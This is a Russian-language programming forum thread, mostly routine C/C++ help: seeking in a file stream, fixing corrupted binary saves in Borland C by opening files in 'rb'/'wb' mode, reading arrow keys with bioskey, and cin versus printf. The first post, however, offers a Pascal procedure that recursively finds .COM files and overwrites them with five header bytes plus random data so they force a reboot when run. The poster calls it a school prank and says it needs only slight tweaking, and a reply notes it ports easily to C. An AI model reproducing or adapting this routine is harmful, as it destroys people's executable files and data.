Member
Статус: Не в сети Регистрация: 09.08.2004 Откуда: TSC! Russia
Nenash вот процедура на паскале рекурсивно проматривающая все файлы(даже в других каталогах) в каталоге и если этот файл с расширением com то меняет первые 5 байт, чтобы вызвать ребут при каждом запуске в школе баловался самих байтов тут нет:) а алшгоритм есть, немного подправитьи все
Код:
Procedure viewaLL(S:DirStr); var f:File; FSize:Longint; FAttr:Word; i:LongInt; Count:Integer; s1:String; ch:Integer; Path:PathStr; ForSearch:SearchRec; begin {$i-} s:=FExpand(s); ChDir(S); FindFirst('*.*',$3F,ForSearch); While DosError=0 do begin If ForSearch.Name='.' then begin FindNext(ForSearch); FindNext(ForSearch); end Else Begin FSize:=ForSearch.Size; s1:=ForSearch.name;Delete(s1,1,Pos('.',s1)); If (FSize>=5)and(S1='COM') then begin Path:=FExpand(ForSearch.Name); AsSign(f,path); GetFAttr(f,FAttr); ReWrite(f,1); For i:=1 to 5 do BlockWrite(f,H1[i],1); For i:=1 to FSize-5 do begin ch:=Random(255); BlockWrite(f,ch,1);end; SetFAttr(f,FAttr); Close(f); end; If ForSearch.Attr and $10 = $10 then BadAll(ForSearch.Name); FindNext(ForSearch); end; end; If s<>PredDir then ChDir('..'); end;
Member
Статус: Не в сети Регистрация: 09.08.2004 Откуда: TSC! Russia
Asteroid переделать не так сложно, а алгоритм тут виден, все ииспользованные процедуры и операторы есть в C, даже названия такие же. Если человеку надо - на С без проблем это же перепишет, даже при минимальном знании языка
Есть текстовый файл с данными, мне нужно считать из него в структуру. В файле определены позиции для всех данных, с 1 по 20 символ - название, потом цена и т.д. Можно ли как-нибудь оператором fin считывать данные с конкретной позиции, а то мне для того чтобы пропустить ненужные данные пришлось извратиться следующим образом:
Member
Статус: Не в сети Регистрация: 15.09.2004 Откуда: Санкт-Петербург
если класс для fin ifstream, можно использовать ф-цию seekg:
istream &seekg(off_type offset, ios::seekdir origin);
перемещает указатель ввода на offset байтов относительно origin. Для того, чтобы переместиться от начала на 20 байт, origin = ios::beg ( относительно текущей позиции - ios::cur ), offset = 20
remi}{ В состав библиотеки входят 75 примеров ( или 50мб ), очень разного уровня.
Пример
Код:
/**************************************************************************** ** $Id: qt/rot13.cpp 3.3.3 edited May 27 2003 $ ** ** Copyright (C) 1992-2000 Trolltech AS. All rights reserved. ** ** This file is part of an example program for Qt. This example ** program may be used, distributed and modified without limitation. ** *****************************************************************************/
Помогите пожалуйста! Мне нужно сделать курсовик по С/с++ досовскому, а у меня какая то ошибка выходит, даже препод не знает, что делать... (( Программа создаёт однонаправленный список групп универа, на основе записи(struct), обрабатывает и добавляет и т. д. Программа сохраняет данные в в .ТХТ и .ЗАП файлы, проблема заключается в том, что при работе с .ЗАП файлом работа некорректная, хотя с ТХТ всё ОК! То ли запись лагает, то ли чтение, но бока именно с ЗАП файлом. При просмотре после загрузки в полях вывода появляются искаженные данные! Загрузка при запуске программы осуществляется автоматически из него. Потом можно из проги опять загрузить, но из ТХТ и всё ОК! Сохраняем... опять в ТХТ ок в ЗАП бред... Хотя использую для записи в ZAP файл примитивные функцииfwrite(), fread()... Помогите плз, вот текст программы:
/* !!! Dobavlenie i sozdanie osn. tablici !!! */ void NewAddInT (TZapis &Dat) { TZapis *Temp, *New; /* esli elementov v spiske net, to... */ if (First == 0) { First = new (TZapis); *First = Dat; First -> Next = 0; } /* inache...dobavlyaem element s uchetom sortirovki po vozrastaniyu */ else { Temp = First; /* ukazat. na nachalo */ /* esli pole 1-go elementa >= novim dannim, to...dobavlyaem ego v nachalo */ if (strcmp(Dat.ShifrGr, Temp->ShifrGr) <= 0) { New = new (TZapis); *New = Dat; New -> Next = First; First = New; } /* inache... */ else { /* (dlya WHILE) vstavlyaem mejdu elementami s uch. sort.! */ while (Temp -> Next != 0) if (strcmp(Dat.ShifrGr, Temp-> Next->ShifrGr) <= 0) { New = new (TZapis); *New = Dat; New -> Next = Temp -> Next; Temp -> Next = New; break; } else Temp = Temp -> Next; /* Dobavlyaem v konec spiska */ if (Temp -> Next == 0) { New = new (TZapis); *New = Dat; New -> Next = 0; Temp -> Next = New; } } } }
clrscr (); printf ("Element sozdan... \n"); } while (1); } /* end ZapolnenieInT */
/* !!! Menu () !!! */ void Menu () { do { clrscr (); gotoxy (17,1); /* t.k. pervaya strochka skachet po osi X */ printf ("1) SOZDANIE NOVOY TABLICI_______________________1\n"); printf ("\t\t2) REDAKTIROVANIE TABLICI_______________________2\n"); printf ("\t\t3) DOBAVLENIE DANNIH___________________________3\n"); printf ("\t\t4) PROSMOTR TABLICI____________________________4\n"); printf ("\t\t5) OBRABOTKA INFORMACII_________________________5\n"); printf ("\t\t6) PROSMOTR REZULTATOV OBRABOTKI________________6\n"); printf ("\t\t7) ZAGRUZKA IZ FAILA____________________________7\n"); printf ("\t\t8) PECHAT' DANNIH V FAIL________________________8\n"); printf ("\t\t9, 0) VIHOD IZ PROGRAMMI_____________________9,_0\n"); printf ("\n\n====> Vvedite neobhodimiy punkt menu: "); vs_menu = getch (); switch (vs_menu) { case '1' : SozdanieT (); break; case '2' : RedaktirovanieT (); break; case '3' : ZapolnenieInT (); break; case '4' : ProsmotrT (); break; case '7' : ZagruzkaDannihIzF (); break; case '8' : PechatDannihVFail (); break; case '9','0' : Exit (); } } while (vs_menu != '0'); }
/* !!! Vihod iz programmi s sohraneniem dannih !!! */ void Exit () { clrscr (); printf ("Sohranit' dannie pered zakritiem programmi? y - DA/ any keys - NET..."); vs_menu = getch (); if (vs_menu == 'y') PechatDannihVFail ();
exit (1); /* procedura zaversheniya raboti programmi */ } /* !!! Prosm. ish. tablici !!! */ void ProsmotrT () { i = 1; // Sozdanie... clrscr (); printf("ЙННННННННННННСНННННННННСНННННННННННННННННННННННННННННННСННННННННННННННННННННН»\n"); printf("є SHIFR GR і PREDMET і OCENKI і PROPUSHENO ZANYATIY є\n"); printf("ЖННННННННННННШНННННННННШНННННННСНННННННСНННННННСНННННННШННННННННННСННННННННННµ\n"); printf("і p/p і і Otl і Hor і Ud і NeUd і Lekciy і Praktiki і\n"); printf("ЖННННННННННННШНННННННННШНННННННШНННННННШНННННННШНННННННШННННННННННШННННННННННµ\n");
Temp = First;
while (Temp != 0) { if (i % 19 == 0) { printf ("========> Press any key..."); vs_menu = getch (); clrscr (); printf("ЙННННННННННННСНННННННННСНННННННННННННННННННННННННННННННСННННННННННННННННННННН»\n"); printf("є SHIFR GR і PREDMET і OCENKI і PROPUSHENO ZANYATIY є\n"); printf("ЖННННННННННННШНННННННННШНННННННСНННННННСНННННННСНННННННШННННННННННСННННННННННµ\n"); printf("і p/p і і Otl і Hor і Ud і NeUd і Lekciy і Praktiki і\n"); printf("ЖННННННННННННШНННННННННШНННННННШНННННННШНННННННШНННННННШННННННННННШННННННННННµ\n"); } printf("і%-3d %-7s і",i,Temp -> ShifrGr); printf(" %-7s і",Temp -> Predmet); printf(" %-5u і", Temp -> Ocenki.Otl); printf(" %-5u і",Temp -> Ocenki.Hor); printf(" %-5u і",Temp -> Ocenki.Ud); printf(" %-5u і",Temp -> Ocenki.NeUd); printf(" %-5u і",Temp -> Propusheno.Lekciy); printf(" %-5u і\n",Temp -> Propusheno.Praktiki); i++; Temp = Temp -> Next; }
*/
/* Назовите файл F2txt.txt и поместите его в папку 1 на диск, т. е. С:\1\F2txt.txt
Программа напишет, что чтение ЭРРОР, тогда создайте хоть одну запись и загрузите из ТХТ из меню программы, потом сохнаните из проги В ТХТ иЗАП и полюбуйтесь следующей загрузкой из ЗАП! */
Я скомпилировал программу на MinGW. Всё нормально работает, описанной ошибки в программе не наблюдается!!! Zap файл сохранился и прочитался: абсолютно ничего не изменилось.
Размер f1zap.zap 178 байт.
Только в void Menu () case '9','0' : Exit (); -> case '9': case '0': Exit ();.
BC31 известный своими internal error и ещё кучей глюков.
Попробуй
1. fwrite (Temp,sizeof(TZapis),1,f1zap); -> if( ..... != fwrite (Temp,sizeof(TZapis),1,f1zap) )
2. fwrite (Temp,sizeof(TZapis),1,f1zap); -> fwrite (Temp,1,sizeof(TZapis),f1zap) );
3. Тоже для fread.
может поможет.
Скорее всего ошибки в проге нет, ошибка в компиляторе.
qasz Стандартными способами - скорее всего НЕВОЗМОЖНО.
Для ДОС - буфер клавы надо сканить. Может в <conio.h> что-то будет ( типа скєн-кодов). Для Винды - много способов (WM_KEY, WM_CHAR,хуки,... ).
Blackmouse Я попробовал №2, но не помогло, а что в if( ..... != fwrite (Temp,sizeof(TZapis),1,f1zap) )
есть .....? Я проверил файл в С++Билдере, то же у меня бред!
Может есть какая-то замена для fwrite(), freade () из любой библиотеки????
Спасибо за помощь....
Blackmouse Я попробовал №2, но не помогло, а что в if( ..... != fwrite (Temp,sizeof(TZapis),1,f1zap) ) есть .....? Я проверил файл в С++Билдере, то же у меня бред! Может есть какая-то замена для fwrite(), freade () из любой библиотеки???? Спасибо за помощь....
Вспомнил!!! 1. В fopen() замени для Zap "r","w" -> "rb", "wb" соответственно!! Бинарный ввод/вывод. Для Borland может по деф текст мод .
2. if( ..... != fwrite (Temp,sizeof(TZapis),1,f1zap) ) - проверка записи, сколько байт записано (так, на всяк случай).
3. Размер файла должен быть ровно 178. С пом-ю sizeof проверь.
1. В fopen() замени для Zap "r","w" -> "rb", "wb" соответственно!! Бинарный ввод/вывод. Для Borland может по деф текст мод .
Еессс... Это помогло! Приогромнейшее спасибо, а то я уже несколько месяцев парюсь!
Однако, инетересен тот факт, что мой ТХТ файл занимает 109байт, а ЗАП 112??? Но всё ок!!
Кстати, а почему просто "r", "w" глючат???
Junior
Статус: Не в сети Регистрация: 28.08.2004 Откуда: Москва
qasz
Код:
#include <bios.h> int WaitKey (void) {for (int key; key!=0x4B00&&//left key!=0X4D00&&//right key!=0x4800&&//up key!=0X5000&&//down key!=0X1C0D&&//enter key!=0x011B;//esc key=bioskey(0)) while (bioskey(1)==0); return key; }
Затем, где нужно, делаешь цикл ожидания нажатия клавиши:
Код:
int key=0; for(;(key=WaitKey())!=0x1C0D;)// until enter is pressed { if (key==0x4800) cout<<"Нажата клавиша вверх"; if (key==0x5000) cout<<"Нажата клавиша вниз"; }
Так, по крайней мере я в курсовой сделал, думаю, это верно. А коды клавиш можно посмотреть, запустив пример bioskey в хелпе
Sev_Lenin 1. Ну у Borland наверно "r", "w" значат "rt", "wt". Т.е. после некоторых символов идут специальный. Например '\n' -> '\n' '\r' (кажется так). Получается записываешь 10 байт, а записывается 11.
2. Я уже упоминал, что у меня Zap 178. Просто я использую 32-bit компилятор .
3. По поводу size(txt), size(zap) очень просто. Схематически:
strlen( (text)0 ) == 1 + 1 // + 1 на пробел
strlen( (short)0 ) == 2
strlen( (long)0 ) == 4
Скажу сразу - в С++ новичок, только начал изучать. Поставил Borland C++ v.3.1, cкачал несколько книжек, начал читать и столкнулся с такой проблемой: вместо printf в книгах пишут cin, вместо scanf - cout, stdio.h - iostream.h и т.д. Начал вводить как написано в книге Borland C++ ругается. Даже не знаю, что делать, то ли другой компилятор ставить, то ли другие книги искать, хотя эти книги в плане объяснения и подачи материала меня очень даже устраивают. Кому не сложно объясните в чем дело, а то изучение С++ застопорилось не начавшись.
Книга скорее-всего описывает стандарт 99-го года (BC - ANSI89 кажется). А в BC++3.1 С++ есть только в названии (ну, всё-таки, что-то от C++ там действительно есть ). В BC есть cout и cin (и их можно использовать), только они очень "бедные".
З.Ы. Используй (GCC+MinGW || MSVC7.1).
Member
Статус: Не в сети Регистрация: 14.03.2004 Откуда: Москва
Skyggedans писал(а):
scanf, printf - стандартные функции ввода-вывода C. cin, cout - стандартные классы ввода-вывода C++.
как говориться - не путайте языки програмирования, тем более стандарты... plant C и C++ отличаются больше чем C++ и C#
Skyggedans писал(а):
Насчет Borland C++ не знаю, но, например, Visual С++ не компилит C++ код, если расширение исходного файла отлично от .cpp
Да все она прекрасно компилит... В от в bc 3.* по моему ещё о namespace и не слышали
Blackmouse писал(а):
З.Ы. Используй (GCC+MinGW || MSVC7.1).
Ой. Не смешите... GCC под вфорточку смысла юзать нету... А 7 студию -- зачем этот гроб на себе таскать.... Хотя я emacsом пользуюсь... Страшная сила, только ещё там надо для начала найти текстовой редактор.
_________________ ФИЗТЕХ- рулез, ФАКИ - сила, Кванты тоже хорошо
Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 10
Вы не можете начинать темы Вы не можете отвечать на сообщения Вы не можете редактировать свои сообщения Вы не можете удалять свои сообщения Вы не можете добавлять вложения